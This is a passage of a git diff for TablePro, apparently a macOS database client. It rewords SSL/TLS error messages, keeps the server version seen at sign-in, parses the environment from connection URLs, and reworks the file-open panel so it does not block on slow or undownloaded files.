diff --git a/apple/Plugins/ClickHouseDriverPlugin/ClickHousePlugin.swift b/apple/Plugins/ClickHouseDriverPlugin/ClickHousePlugin.swift index 656b156340..61a1d1f091 100644 --- a/apple/Plugins/ClickHouseDriverPlugin/ClickHousePlugin.swift +++ b/apple/Plugins/ClickHouseDriverPlugin/ClickHousePlugin.swift @@ -140,11 +140,11 @@ nonisolated struct ClickHouseError: Error, PluginDriverError { static let notConnected = ClickHouseError(message: String(localized: "Not connected to database")) static let verifyCaNeedsCertificate = ClickHouseError(message: String(localized: """ - Verify CA needs a CA certificate. On the connection's Network tab, choose the CA certificate that signed \ + Verify CA needs a CA certificate. In the connection's SSL/TLS settings, choose the CA certificate that signed \ the server's certificate, or set SSL Mode to Verify Identity. """)) static let clientCertificateNeedsKey = ClickHouseError(message: String(localized: """ - A client certificate needs its client key. On the connection's Network tab, choose the client key, or \ + A client certificate needs its client key. In the connection's SSL/TLS settings, choose the client key, or \ clear the client certificate. """)) diff --git a/apple/Plugins/EtcdDriverPlugin/EtcdServerTrust.swift b/apple/Plugins/EtcdDriverPlugin/EtcdServerTrust.swift index 82eba46a5d..dca12b74cf 100644 --- a/apple/Plugins/EtcdDriverPlugin/EtcdServerTrust.swift +++ b/apple/Plugins/EtcdDriverPlugin/EtcdServerTrust.swift @@ -15,7 +15,7 @@ internal enum EtcdTLSConfigurationError: Error, LocalizedError, Equatable { switch self { case .verifyCANeedsCertificate: return String(localized: """ - Verify CA needs a CA certificate. In the etcd section of the Options tab, choose the CA Certificate \ + Verify CA needs a CA certificate. In the etcd section of the connection's Advanced settings, choose the CA Certificate \ that signed the server's certificate, or set TLS Mode to Verify Identity. """) case .unreadableCACertificate(let path): diff --git a/apple/Plugins/QdrantDriverPlugin/QdrantURLSessionTransport.swift b/apple/Plugins/QdrantDriverPlugin/QdrantURLSessionTransport.swift index 0f54ba2843..6168ebb49d 100644 --- a/apple/Plugins/QdrantDriverPlugin/QdrantURLSessionTransport.swift +++ b/apple/Plugins/QdrantDriverPlugin/QdrantURLSessionTransport.swift @@ -29,7 +29,7 @@ struct QdrantTLS: @unchecked Sendable { let anchor = try anchorCertificate(at: ssl.caCertificatePath, for: verification) if verification == .caOnly, anchor == nil { throw QdrantError.configuration(String(localized: """ - Verify CA needs a CA certificate. On the connection's Network tab, choose the CA certificate \ + Verify CA needs a CA certificate. In the connection's SSL/TLS settings, choose the CA certificate \ that signed the server's certificate, or set SSL Mode to Verify Identity. """)) } @@ -57,7 +57,7 @@ struct QdrantTLS: @unchecked Sendable { guard ssl.isEnabled, !certificatePath.isEmpty else { return nil } guard !keyPath.isEmpty else { throw QdrantError.configuration(String(localized: """ - A client certificate needs its client key. On the connection's Network tab, choose the \ + A client certificate needs its client key. In the connection's SSL/TLS settings, choose the \ client key, or clear the client certificate. """)) } diff --git a/apple/Plugins/TableProPluginKit/SSLHandshakeError.swift b/apple/Plugins/TableProPluginKit/SSLHandshakeError.swift index 5732e9b861..ac59cad46a 100644 --- a/apple/Plugins/TableProPluginKit/SSLHandshakeError.swift +++ b/apple/Plugins/TableProPluginKit/SSLHandshakeError.swift @@ -86,24 +86,24 @@ public enum SSLHandshakeError: Error, LocalizedError, Sendable { public var recoverySuggestion: String? { switch self { case .serverRejectedPlaintext: - return String(localized: "On the connection's Network tab, set SSL Mode to Verify Identity, or to Required to skip the certificate check.") + return String(localized: "In the connection's SSL/TLS settings, set SSL Mode to Verify Identity, or to Required to skip the certificate check.") case .serverRequiresPlaintext: - return String(localized: "On the connection's Network tab, set SSL Mode to Disabled.") + return String(localized: "In the connection's SSL/TLS settings, set SSL Mode to Disabled.") case .untrustedCertificate: return String(localized: """ - On the connection's Network tab, choose the server's CA certificate under Verify Identity \ + In the connection's SSL/TLS settings, choose the server's CA certificate under Verify Identity \ or Verify CA. Required (skip verify) also connects, but does not check the certificate. """) case .hostnameMismatch: return String(localized: "Change Host to a name the certificate covers.") case .clientCertRequired: - return String(localized: "Choose the client certificate and key on the connection's Network tab.") + return String(localized: "Choose the client certificate and key in the connection's SSL/TLS settings.") case .clientKeyPassphraseRequired: - return String(localized: "Enter the Key Passphrase on the connection's Network tab.") + return String(localized: "Enter the Key Passphrase in the connection's SSL/TLS settings.") case .clientKeyPassphraseIncorrect: - return String(localized: "Correct the Key Passphrase on the connection's Network tab.") + return String(localized: "Correct the Key Passphrase in the connection's SSL/TLS settings.") case .clientKeyInvalid: - return String(localized: "Check that the Client Key path points to a valid PEM private key.") + return String(localized: "In the connection's SSL/TLS settings, check that the Key under Client Certificates is a valid PEM private key.") case .cipherMismatch: return String(localized: "Update the server's TLS configuration or use a newer database server version that supports modern ciphers.") case .unknown: diff --git a/apple/Plugins/TrinoDriverPlugin/TrinoSSLMapping.swift b/apple/Plugins/TrinoDriverPlugin/TrinoSSLMapping.swift index 953ec894c3..71be36b578 100644 --- a/apple/Plugins/TrinoDriverPlugin/TrinoSSLMapping.swift +++ b/apple/Plugins/TrinoDriverPlugin/TrinoSSLMapping.swift @@ -19,7 +19,7 @@ enum TrinoSSLMapping { if mode == .caOnly, anchor == nil { throw TrinoError.invalidConfiguration(String( localized: """ - Verify CA needs a CA certificate. On the connection's Network tab, choose the CA certificate \ + Verify CA needs a CA certificate. In the connection's SSL/TLS settings, choose the CA certificate \ that signed the server's certificate, or set SSL Mode to Verify Identity. """ )) @@ -53,7 +53,7 @@ enum TrinoSSLMapping { guard !keyPath.isEmpty else { throw TrinoError.invalidConfiguration(String( localized: """ - A client certificate needs its client key. On the connection's Network tab, choose the \ + A client certificate needs its client key. In the connection's SSL/TLS settings, choose the \ client key, or clear the client certificate. """ )) diff --git a/apple/TablePro/AppDelegate.swift b/apple/TablePro/AppDelegate.swift index 30de3144d1..535502d275 100644 --- a/apple/TablePro/AppDelegate.swift +++ b/apple/TablePro/AppDelegate.swift @@ -74,7 +74,7 @@ class AppDelegate: NSObject, NSApplicationDelegate { NSWindow.allowsAutomaticWindowTabbing = true WindowOpener.shared.setWelcomePresenter { WelcomeWindowController.present() } - WindowOpener.shared.setConnectionFormPresenter { ConnectionFormWindowController.present($0) } + WindowOpener.shared.setConnectionFormPresenter { ConnectionEditorWindowController.present($0, facet: $1) } WindowOpener.shared.setIntegrationsActivityPresenter { IntegrationsActivityWindowController.present() } WindowOpener.shared.setSettingsPresenter { SettingsWindowController.present($0) } KeyRepeatFilter.shared.install() @@ -178,7 +178,8 @@ class AppDelegate: NSObject, NSApplicationDelegate { } func applicationShouldTerminate(_ sender: NSApplication) -> NSApplication.TerminateReply { - guard let plan = QuitApproval.approve() else { + // The connection editors first: their Cancel keeps the app open before anything else is asked or stopped. + guard ConnectionEditorWindowController.prepareToTerminate(), let plan = QuitApproval.approve() else { AppRelauncher.shared.terminationWasCancelled() return .terminateCancel } @@ -203,6 +204,7 @@ class AppDelegate: NSObject, NSApplicationDelegate { } func applicationWillTerminate(_ notification: Notification) { + ConnectionEditorWindowController.closeAllForTermination() SessionRecoveryTracker.saveOnQuit() // Synchronously: an actor hop at terminate may never run, which lost a killed session's last turn. AgentSessionRegistry.shared.persistSynchronouslyForTermination() diff --git a/apple/TablePro/Core/Database/DatabaseManager+Queries.swift b/apple/TablePro/Core/Database/DatabaseManager+Queries.swift index c22ebed391..a1d69a1c8f 100644 --- a/apple/TablePro/Core/Database/DatabaseManager+Queries.swift +++ b/apple/TablePro/Core/Database/DatabaseManager+Queries.swift @@ -100,7 +100,11 @@ extension DatabaseManager { preparedConfiguration: preparedConfiguration ) let succeeded = try await driver.testConnection() - result = ConnectionTestResult(succeeded: succeeded, warning: driver.connectionWarning) + result = ConnectionTestResult( + succeeded: succeeded, + warning: driver.connectionWarning, + serverVersion: driver.serverVersion + ) } catch { let reportedError = await Self.preferredTunnelFailure(replacing: error) { await self.attributedTunnelFailure(for: connection) diff --git a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift index ac55d9e63a..a0d1b7db56 100644 --- a/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift +++ b/apple/TablePro/Core/Plugins/DatabaseType+Registry.swift @@ -165,15 +165,15 @@ extension DatabaseType { switch rawValue { case "PostgreSQL", "Redshift", "CockroachDB": return String(localized: """ - Preferred tries TLS first, falls back to plain. Matches psql and DataGrip defaults. \ - Required by AWS RDS, Cloud SQL, Heroku, Supabase, Neon. + Preferred tries TLS first and connects without it when the server offers none. \ + Use Required for AWS RDS, Cloud SQL, Heroku, Supabase and Neon. """) case "KingbaseES", "StarRocks": return String(localized: "Preferred tries TLS first, falls back to plain.") case _ where pluginTypeId == "MySQL": return String(localized: """ - Preferred performs a 2-pass connect: tries TLS first, falls back to plain only on \ - SSL handshake errors. Required by Cloud SQL and Azure MySQL. + Preferred tries TLS first and connects without it when the TLS handshake fails. \ + Use Required for Cloud SQL and Azure Database for MySQL, which refuse an unencrypted connection. """) case "SQL Server": return String(localized: "Preferred requests TLS; the server decides. Required by SQL Server 2022 and Azure SQL Database.") diff --git a/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift b/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift index a1f5be16f4..e6ceb39efb 100644 --- a/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift +++ b/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift @@ -28,9 +28,10 @@ final class PluginDriverAdapter: DatabaseDriver, SchemaSwitchable, DatabaseRepor var connectAttempt: ConnectAttempt? var connectionMayBeOpen = false var disconnectInProgress = false - /// Read from the driver when its connect is adopted, so it outlives the `disconnect()` Test Connection - /// makes before anyone asks for it. + // Read from the driver when its connect is adopted, so both outlive the `disconnect()` Test Connection makes + // before anyone asks: a driver forgets its server's version when it disconnects. var connectionWarning: String? + var signInServerVersion: String? // Only a yes is kept, so the driver's own code is not asked again on every read. var buildsBrowseQueries = false } @@ -54,7 +55,7 @@ final class PluginDriverAdapter: DatabaseDriver, SchemaSwitchable, DatabaseRepor pluginDriver.hasLostConnection || credentialLease?.hasEnded == true } - var serverVersion: String? { pluginDriver.serverVersion } + var serverVersion: String? { pluginDriver.serverVersion ?? state.withLock { $0.signInServerVersion } } var connectionWarning: String? { state.withLock { $0.connectionWarning } } var sessionLexicalState: PluginSessionLexicalState? { pluginDriver.sessionLexicalState } var parameterStyle: ParameterStyle { pluginDriver.parameterStyle } @@ -164,6 +165,7 @@ final class PluginDriverAdapter: DatabaseDriver, SchemaSwitchable, DatabaseRepor let generation = state.nextConnectGeneration state.status = .connecting state.connectionWarning = nil + state.signInServerVersion = nil state.connectAttempt = ConnectAttempt(generation: generation, gate: gate, deadline: connectionDeadline.instant) return generation } @@ -355,6 +357,7 @@ final class PluginDriverAdapter: DatabaseDriver, SchemaSwitchable, DatabaseRepor error: Error? ) { let warning = succeeded ? pluginDriver.connectionWarning : nil + let version = succeeded ? pluginDriver.serverVersion : nil let shouldDisconnect = state.withLock { state in guard let attempt = state.connectAttempt, attempt.generation == generation else { return false @@ -365,6 +368,7 @@ final class PluginDriverAdapter: DatabaseDriver, SchemaSwitchable, DatabaseRepor state.connectionMayBeOpen = true state.status = .connected state.connectionWarning = warning + state.signInServerVersion = version return false } if let error, adopted { diff --git a/apple/TablePro/Core/Services/Infrastructure/ConnectionRecoveryPerformer.swift b/apple/TablePro/Core/Services/Infrastructure/ConnectionRecoveryPerformer.swift index 6a4eaffc30..85a7654054 100644 --- a/apple/TablePro/Core/Services/Infrastructure/ConnectionRecoveryPerformer.swift +++ b/apple/TablePro/Core/Services/Infrastructure/ConnectionRecoveryPerformer.swift @@ -27,7 +27,8 @@ internal enum ConnectionRecoveryPerformer { case .openPluginSettings(let pluginId): opener.openSettings(revealingPlugin: pluginId) case .editConnection: - opener.openConnectionForm(editing: connection.id) + // A connect refused over its own settings (an SSL mode the driver lacks, an extension) shows as an issue there. + opener.openConnectionForm(editing: connection.id, facet: .firstIssue) case .openLocalNetworkSettings: guard let url = localNetworkSettingsURL else { return } NSWorkspace.shared.open(url) diff --git a/apple/TablePro/Core/Services/Infrastructure/FileOpenPanel.swift b/apple/TablePro/Core/Services/Infrastructure/FileOpenPanel.swift index b716fe1442..e9574f1971 100644 --- a/apple/TablePro/Core/Services/Infrastructure/FileOpenPanel.swift +++ b/apple/TablePro/Core/Services/Infrastructure/FileOpenPanel.swift @@ -5,7 +5,7 @@ import AppKit -/// The panel behind File > Open File…, offering everything TablePro can open rather than SQL alone. +// The panel behind File > Open File…, offering everything TablePro can open rather than SQL alone. @MainActor internal enum FileOpenPanel { internal static func present() async -> [URL]? { @@ -14,7 +14,7 @@ internal enum FileOpenPanel { panel.canChooseDirectories = false panel.message = String(localized: "Select files to open") - let filter = PanelEnableFilter(isEnabled: isOpenable) + let filter = PanelEnableFilter(isEnabled: isOpenable, validate: validate) panel.delegate = filter let response = await panel.begin() withExtendedLifetime(filter) {} @@ -23,14 +23,35 @@ internal enum FileOpenPanel { return panel.urls } - /// A plain folder stays enabled so the panel can be navigated. A package is a file as far as - /// the user is concerned, and `.tableplugin` is one, so it is classified like any other. - /// - /// The name is asked first and settles most of a folder without touching its contents. - private static func isOpenable(_ url: URL) -> Bool { - let values = try? url.resourceValues(forKeys: [.isDirectoryKey, .isPackageKey]) + // A plain folder stays enabled so the panel can be navigated; a package such as `.tableplugin` is classified + // like a file. The name settles most of a folder, and a file whose name says nothing is left for `validate`. + internal static func isOpenable(_ url: URL) -> Bool { + let values = try? url.resourceValues(forKeys: [.isDirectoryKey, .isPackageKey, .fileResourceTypeKey]) if values?.isDirectory == true, values?.isPackage != true { return true } if case .some(.success) = URLClassifier.classifyByName(url) { return true } - return PanelEnableFilter.isQuickToRead(url) && DatabaseFileClassifier.classify(url) != nil + return values?.fileResourceType == .regular && PanelFileName.leavesKindOpen(url) + } + + // A file whose bytes are not on this Mac yet is let through; opening it decides, as a drop or a Finder open does. + internal static func validate(_ url: URL) throws { + if case .some(.success) = URLClassifier.classifyByName(url) { return } + if DatabaseFileClassifier.classify(url, access: .withoutWaiting) != nil { return } + guard DatabaseFileClassifier.isReadableWithoutWaiting(url) else { return } + throw FileOpenPanelError.unsupported(fileName: url.lastPathComponent) + } +} + +private enum FileOpenPanelError: LocalizedError { + case unsupported(fileName: String) + + var errorDescription: String? { + switch self { + case .unsupported(let fileName): + return String(format: String(localized: "TablePro can’t open “%@”."), fileName) + } + } + + var recoverySuggestion: String? { + String(localized: "TablePro opens database files, SQL files, data files, connection shares and plugins.") } } diff --git a/apple/TablePro/Core/Services/Infrastructure/PanelEnableFilter.swift b/apple/TablePro/Core/Services/Infrastructure/PanelEnableFilter.swift index 480b6ca5f9..e1eb7b471d 100644 --- a/apple/TablePro/Core/Services/Infrastructure/PanelEnableFilter.swift +++ b/apple/TablePro/Core/Services/Infrastructure/PanelEnableFilter.swift @@ -4,48 +4,79 @@ // import AppKit +import UniformTypeIdentifiers -/// Decides which items an open panel lets someone choose, for a rule `allowedContentTypes` cannot -/// express because it matches names only: a SQLite database saved with no extension, or under -/// someone else's, is reachable only by reading its bytes. +// Decides which items an open panel offers and checks the pick, for a rule `allowedContentTypes` cannot express: +// a SQLite database saved with no extension, or under someone else's, is told apart only by its bytes. AppKit asks +// `shouldEnable` on the main thread while the panel browses, and opening a file in Desktop, Documents or Downloads +// there waits on the system's consent prompt, so the enable rule goes by name and file type only. The bytes are read +// in `validate`, after the person picked the file, which grants the access. @MainActor internal final class PanelEnableFilter: NSObject, NSOpenSavePanelDelegate { private let isEnabled: @MainActor (URL) -> Bool + private let validator: (@MainActor (URL) throws -> Void)? - /// The panel asks again on every scroll, and a rule may read the head of the file. + // The panel asks again on every scroll. private var decisions: [URL: Bool] = [:] - internal init(isEnabled: @escaping @MainActor (URL) -> Bool) { + internal init( + isEnabled: @escaping @MainActor (URL) -> Bool, + validate: (@MainActor (URL) throws -> Void)? = nil + ) { self.isEnabled = isEnabled + self.validator = validate } func panel(_ sender: Any, shouldEnable url: URL) -> Bool { if let decided = decisions[url] { return decided } - let enabled = isEnabled(url) || Self.linkTarget(of: url).map(isEnabled) == true + let enabled = isEnabled(url) || Self.symlinkTarget(of: url).map(isEnabled) == true || Self.isFinderAlias(url) decisions[url] = enabled return enabled } - /// The panel hands over a symlink or a Finder alias as itself, and neither reads as a folder or - /// has the target's bytes, so a rule that keeps folders enabled would dim a linked one and strand - /// everything behind it. The link's own name is still asked first, since it may be the only - /// thing that matches. An alias on a volume that is not mounted stays unresolved. - /// Whether reading the head of this file is quick enough to do while the panel waits. This runs on - /// the main actor, and a file on a network volume or an iCloud file not yet downloaded takes as - /// long as that volume does, so the whole app would wait with it. Such a file is matched by - /// name only; its path can still be typed. - nonisolated internal static func isQuickToRead(_ url: URL) -> Bool { - let keys: Set = [.volumeIsLocalKey, .ubiquitousItemDownloadingStatusKey] - guard let values = try? url.resourceValues(forKeys: keys), values.volumeIsLocal == true else { - return false + // A dimmed file still comes back from a double-click in list view, so the rule is enforced here too. + func panel(_ sender: Any, validate url: URL) throws { + guard let validator else { return } + do { + try validator(url) + } catch { + guard Self.isFinderAlias(url), + let target = try? URL(resolvingAliasFileAt: url, options: [.withoutUI, .withoutMounting]) + else { throw error } + try validator(target) } - if let status = values.ubiquitousItemDownloadingStatus, status != .current { return false } - return true } - private static func linkTarget(of url: URL) -> URL? { - let values = try? url.resourceValues(forKeys: [.isSymbolicLinkKey, .isAliasFileKey]) - guard values?.isSymbolicLink == true || values?.isAliasFile == true else { return nil } + // A symlink arrives as itself, with neither the target's kind nor its name, so a folder behind one would be dimmed + // and everything in it stranded. The link's own name is asked first, since it may be the only thing that matches. + private static func symlinkTarget(of url: URL) -> URL? { + guard (try? url.resourceValues(forKeys: [.isSymbolicLinkKey]))?.isSymbolicLink == true else { return nil } return try? URL(resolvingAliasFileAt: url, options: [.withoutUI, .withoutMounting]) } + + // Resolving a Finder alias reads the alias file, so one stays enabled unresolved: the panel opens one that names a + // folder, and `validate` checks the file behind one that is picked. + private static func isFinderAlias(_ url: URL) -> Bool { + let values = try? url.resourceValues(forKeys: [.isAliasFileKey, .isSymbolicLinkKey]) + return values?.isAliasFile == true && values?.isSymbolicLink != true + } +} + +// What a file's name alone says about its kind, for an enable rule that may not read the file. +internal enum PanelFileName { + // No extension, one no installed app declares, or a declared type that names no other kind: only the bytes can + // tell what it holds. + internal static func leavesKindOpen(_ url: URL) -> Bool { + let fileExtension = url.pathExtension + guard !fileExtension.isEmpty, let type = UTType(filenameExtension: fileExtension), type.isDeclared else { + return true + } + if type.conforms(to: .database) { return true } + return !otherKinds.contains { type.conforms(to: $0) } + } + + private static let otherKinds: [UTType] = [ + .text, .image, .audiovisualContent, .compositeContent, .font, .presentation, .spreadsheet, + .executable, .diskImage, .zip, .gzip, + ] } diff --git a/apple/TablePro/Core/Services/Infrastructure/WindowIdentifier.swift b/apple/TablePro/Core/Services/Infrastructure/WindowIdentifier.swift index 8af00a7e1f..df95c377ed 100644 --- a/apple/TablePro/Core/Services/Infrastructure/WindowIdentifier.swift +++ b/apple/TablePro/Core/Services/Infrastructure/WindowIdentifier.swift @@ -5,13 +5,11 @@ import Foundation -/// The first group doubles as each window's frame autosave name, so changing one of those values -/// throws away the position the user arranged. The second group is matched by prefix at runtime by -/// `ConnectionWindowIdentity` and `WindowManager`, so `dataFile` has to stay under the -/// `connection` prefix or an open data file window stops counting as a primary window. +// The first group doubles as each window's frame autosave name, so changing one throws away the position the +// user arranged. `ConnectionWindowIdentity` and `WindowManager` match the last group by prefix, so `dataFile` +// stays under the `connection` prefix or an open data file window stops counting as a primary window. internal enum WindowIdentifier { internal static let welcome = "welcome" - internal static let connectionForm = "connection-form" internal static let integrationsActivity = "integrations-activity" internal static let settings = "settings" internal static let acknowledgements = "acknowledgements" @@ -19,6 +17,9 @@ internal enum WindowIdentifier { internal static let compareSync = "compare-sync" internal static let signIn = "sign-in" + // The connection editor's frame saves under `ConnectionEditorWindowFrame.autosaveName`. + internal static let connectionForm = "connection-form" + internal static let connection = "main" internal static let dataFile = "main-data-file" } diff --git a/apple/TablePro/Core/Services/Infrastructure/WindowOpener.swift b/apple/TablePro/Core/Services/Infrastructure/WindowOpener.swift index 2ebc42a0da..94eb5ebe79 100644 --- a/apple/TablePro/Core/Services/Infrastructure/WindowOpener.swift +++ b/apple/TablePro/Core/Services/Infrastructure/WindowOpener.swift @@ -16,7 +16,7 @@ internal final class WindowOpener: ObservableObject { nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "WindowOpener") private var openWelcomeAction: (() -> Void)? - private var openConnectionFormAction: ((ConnectionFormRequest) -> Void)? + private var openConnectionFormAction: ((ConnectionFormRequest, ConnectionEditorFacetChoice?) -> Void)? private var openIntegrationsActivityAction: (() -> Void)? private var openSettingsAction: ((SettingsRequest) -> Void)? private var stagedDraftId: UUID? @@ -60,10 +60,10 @@ internal final class WindowOpener: ObservableObject { } } - internal func openConnectionForm(editing connectionId: UUID) { + internal func openConnectionForm(editing connectionId: UUID, facet: ConnectionEditorFacetChoice? = nil) { perform { opener in guard let present = opener.openConnectionFormAction else { return false } - present(.edit(connectionId: connectionId)) + present(.edit(connectionId: connectionId), facet) return true } } @@ -86,7 +86,7 @@ internal final class WindowOpener: ObservableObject { stagedDraftId = nil perform { opener in guard let present = opener.openConnectionFormAction else { return false } - present(.create(draftId: draftId)) + present(.create(draftId: draftId), nil) return true } } @@ -118,7 +118,7 @@ internal final class WindowOpener: ObservableObject { drainPendingCalls() } - internal func setConnectionFormPresenter(_ present: @escaping (ConnectionFormRequest) -> Void) { + internal func setConnectionFormPresenter(_ present: @escaping (ConnectionFormRequest, ConnectionEditorFacetChoice?) -> Void) { openConnectionFormAction = present drainPendingCalls() } diff --git a/apple/TablePro/Core/Storage/ConnectionApprovalStore.swift b/apple/TablePro/Core/Storage/ConnectionApprovalStore.swift index bf295297f9..bdfe5e76d8 100644 --- a/apple/TablePro/Core/Storage/ConnectionApprovalStore.swift +++ b/apple/TablePro/Core/Storage/ConnectionApprovalStore.swift @@ -61,6 +61,17 @@ internal final class ConnectionApprovalStore { Self.logger.info("Approved \(self.kind.logName, privacy: .public) for a connection") } + // Approves `connection` only where it asks for no more than `reviewed` did, at the same destination. + internal func approve(_ connection: DatabaseConnection, asReviewed reviewed: DatabaseConnection) { + guard dialedDestination(connection).digest == dialedDestination(reviewed).digest, + kind.items(in: connection).isSubset(of: kind.items(in: reviewed)) + else { + Self.logger.info("Left \(self.kind.logName, privacy: .public) unapproved: the saved definition differs from the one shown") + return + } + approve(connection) + } + internal func revoke(for connectionId: UUID) { var all = approvals() guard all.removeValue(forKey: connectionId.uuidString) != nil else { return } diff --git a/apple/TablePro/Core/Utilities/Connection/ConnectionURLFormatter.swift b/apple/TablePro/Core/Utilities/Connection/ConnectionURLFormatter.swift index a258d6eb3c..845400a9a6 100644 --- a/apple/TablePro/Core/Utilities/Connection/ConnectionURLFormatter.swift +++ b/apple/TablePro/Core/Utilities/Connection/ConnectionURLFormatter.swift @@ -338,9 +338,11 @@ struct ConnectionURLFormatter { colorHex(connection.color).map { "statusColor=\($0)" } } + // The stored name, which ConnectionURLParser.environment(named:) reads back in any language. private static func envParameter(_ connection: DatabaseConnection) -> String? { - guard let tagId = connection.tagIds.first, let tag = TagStorage.shared.tag(for: tagId) else { return nil } - return "env=\(formEncode(tag.name))" + let environment = ConnectionEnvironment.stored(in: connection.additionalFields) + guard environment != .none else { return nil } + return "env=\(environment.rawValue)" } // The standard option names, so the URL opens in other MongoDB tools as well as here: the fields, then the typed diff --git a/apple/TablePro/Core/Utilities/Connection/ConnectionURLParser.swift b/apple/TablePro/Core/Utilities/Connection/ConnectionURLParser.swift index bc10fa674d..63106b9968 100644 --- a/apple/TablePro/Core/Utilities/Connection/ConnectionURLParser.swift +++ b/apple/TablePro/Core/Utilities/Connection/ConnectionURLParser.swift @@ -43,6 +43,10 @@ struct ParsedConnectionURL { let multiHost: String? let additionalFields: [String: String] + var environment: ConnectionEnvironment? { + envTag.flatMap(ConnectionURLParser.environment(named:)) + } + var localSocketPath: String? { MySQLLocalSocket.path(in: additionalFields) } @@ -1051,8 +1055,19 @@ struct ConnectionURLParser { return bestColor } - @MainActor internal static func tagId(fromEnvName name: String) -> UUID? { - let tags = TagStorage.shared.loadTags() - return tags.first(where: { $0.name.lowercased() == name.lowercased() })?.id + // `env=` names the connection's environment; a name that is none of them leaves it unset. + internal static func environment(named name: String) -> ConnectionEnvironment? { + switch name.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() { + case "production", "prod": + return .production + case "staging", "stage": + return .staging + case "development", "dev": + return .development + case "local": + return .local + default: + return nil + } } } diff --git a/apple/TablePro/Core/Utilities/Connection/TransientConnectionFactory.swift b/apple/TablePro/Core/Utilities/Connection/TransientConnectionFactory.swift index a360b333e7..c3d03cb5dd 100644 --- a/apple/TablePro/Core/Utilities/Connection/TransientConnectionFactory.swift +++ b/apple/TablePro/Core/Utilities/Connection/TransientConnectionFactory.swift @@ -36,11 +36,6 @@ internal enum TransientConnectionFactory { color = ConnectionURLParser.connectionColor(fromHex: hex) } - var tagIds: [UUID] = [] - if let envName = parsed.envTag, let resolved = ConnectionURLParser.tagId(fromEnvName: envName) { - tagIds = [resolved] - } - let resolvedSafeMode = parsed.safeModeLevel.flatMap(SafeModeLevel.from(urlInteger:)) ?? .silent var connection = DatabaseConnection( @@ -53,7 +48,6 @@ internal enum TransientConnectionFactory { sshConfig: sshConfig, sslConfig: sslConfig, color: color, - tagIds: tagIds, safeModeLevel: resolvedSafeMode, mongoAuthSource: parsed.authSource, mongoUseSrv: parsed.useSrv, @@ -72,6 +66,9 @@ internal enum TransientConnectionFactory { // A link is a definition from outside: only keys the catalog knows, and selectors stay for the consent prompt. let linkFields = ConnectionFieldCatalog.portable(parsed.additionalFields, keepingLocalCredentials: true) connection.additionalFields.merge(linkFields) { _, imported in imported } + if let environment = parsed.environment { + connection.additionalFields[ConnectionEnvironment.fieldKey] = environment.rawValue + } // The same field mapping as Import from URL, so an opened link reads legacy UUIDs the way its sender set and // its secrets sit where the driver and the backup tools read them. The connection is never saved. diff --git a/apple/TablePro/Core/Utilities/File/DatabaseFileClassifier.swift b/apple/TablePro/Core/Utilities/File/DatabaseFileClassifier.swift index 4e7844b03c..5934004734 100644 --- a/apple/TablePro/Core/Utilities/File/DatabaseFileClassifier.swift +++ b/apple/TablePro/Core/Utilities/File/DatabaseFileClassifier.swift @@ -3,34 +3,48 @@ // TablePro // +import Darwin import Foundation import TableProUtilities -/// Names the database type that wrote a file, from the file's own bytes rather than its name. -/// -/// Reads only as far as the longest declared signature reaches. Anything that is not a regular -/// file, or is empty, or cannot be opened is unidentified rather than an error, and the caller -/// falls back to the extension. +// Names the database type that wrote a file from its own bytes, reading only as far as the longest signature +// reaches. Anything that is not a regular file, is empty or cannot be read is unidentified, and the caller falls +// back to the extension. internal enum DatabaseFileClassifier { - internal static func classify(_ url: URL) -> DatabaseType? { - classify(url, candidates: PluginMetadataRegistry.shared.allFileSignatures()) + internal enum Access: Sendable { + // A file the user opened on purpose: a download or a slow volume is worth the wait. + case mayWait + // An open panel's enable filter, which AppKit calls on the main thread while the panel browses. + case withoutWaiting + } + + // A plugin declaring a signature deeper than this is not read at all rather than read in full. + internal static let maximumPrefixLength = 64 * 1_024 + + internal static func classify(_ url: URL, access: Access = .mayWait) -> DatabaseType? { + classify(url, candidates: PluginMetadataRegistry.shared.allFileSignatures(), access: access) } internal static func classify( _ url: URL, - candidates: [String: [DatabaseFileSignature]] + candidates: [String: [DatabaseFileSignature]], + access: Access = .mayWait ) -> DatabaseType? { guard url.isFileURL, !candidates.isEmpty else { return nil } - guard let size = regularFileSize(of: url), size > 0 else { return nil } - let prefixLength = candidates.values .flatMap { $0 } .map(\.requiredPrefixLength) .max() ?? 0 - guard prefixLength > 0, let prefix = readPrefix(of: url, length: prefixLength) else { return nil } + guard prefixLength > 0, prefixLength <= maximumPrefixLength else { return nil } + switch access { + case .mayWait: + guard let size = regularFileSize(of: url), size > 0 else { return nil } + case .withoutWaiting: + guard isReadableWithoutWaiting(url) else { return nil } + } + guard let prefix = readPrefix(of: url, length: prefixLength, access: access) else { return nil } - /// The longest match wins, and the type id breaks a tie, so the answer never depends on - /// the order the registry's dictionary happens to iterate in. + // The longest match wins and the type id breaks a tie, so the answer never depends on dictionary order. let matches = candidates.flatMap { typeId, signatures in signatures.filter { $0.matches(prefix) }.map { (typeId: typeId, weight: $0.totalMarkerLength) } } @@ -40,17 +54,75 @@ internal enum DatabaseFileClassifier { return winner.map { DatabaseType(rawValue: $0.typeId) } } - /// A FIFO or a device node would block in `open`, so both are refused before anything is opened. + // From metadata alone: a non-empty regular file on this Mac's own disk whose bytes are already here. A pipe, a + // socket or a device blocks in open, a network volume takes as long as the network, and an iCloud or File + // Provider file that is not downloaded waits for the download. + internal static func isReadableWithoutWaiting(_ url: URL) -> Bool { + let keys: Set = [ + .isRegularFileKey, .fileSizeKey, .volumeIsLocalKey, .ubiquitousItemDownloadingStatusKey, + ] + guard let values = try? url.resourceValues(forKeys: keys), + values.isRegularFile == true, + values.volumeIsLocal == true, + (values.fileSize ?? 0) > 0 + else { return false } + if let status = values.ubiquitousItemDownloadingStatus, status != .current { return false } + var info = stat() + guard lstat(url.path, &info) == 0 else { return false } + return info.st_flags & UInt32(SF_DATALESS) == 0 + } + + // A dataless file opened here fails with EDEADLK instead of starting a download, even one that turned dataless + // after the metadata was read. + internal static func withoutMaterializing(_ body: () throws -> T) rethrows -> T { + let previous = getiopolicy_np(IOPOL_TYPE_VFS_MATERIALIZE_DATALESS_FILES, IOPOL_SCOPE_THREAD) + let changed = setiopolicy_np( + 